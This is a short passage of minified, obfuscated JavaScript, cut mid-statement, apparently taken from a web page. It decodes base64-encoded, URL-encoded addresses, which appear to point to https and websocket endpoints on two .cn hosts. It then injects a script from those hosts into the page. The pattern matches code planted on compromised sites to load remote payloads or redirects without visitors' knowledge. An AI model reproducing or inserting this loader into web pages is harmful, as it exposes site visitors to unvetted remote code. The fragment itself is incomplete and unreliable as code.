s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};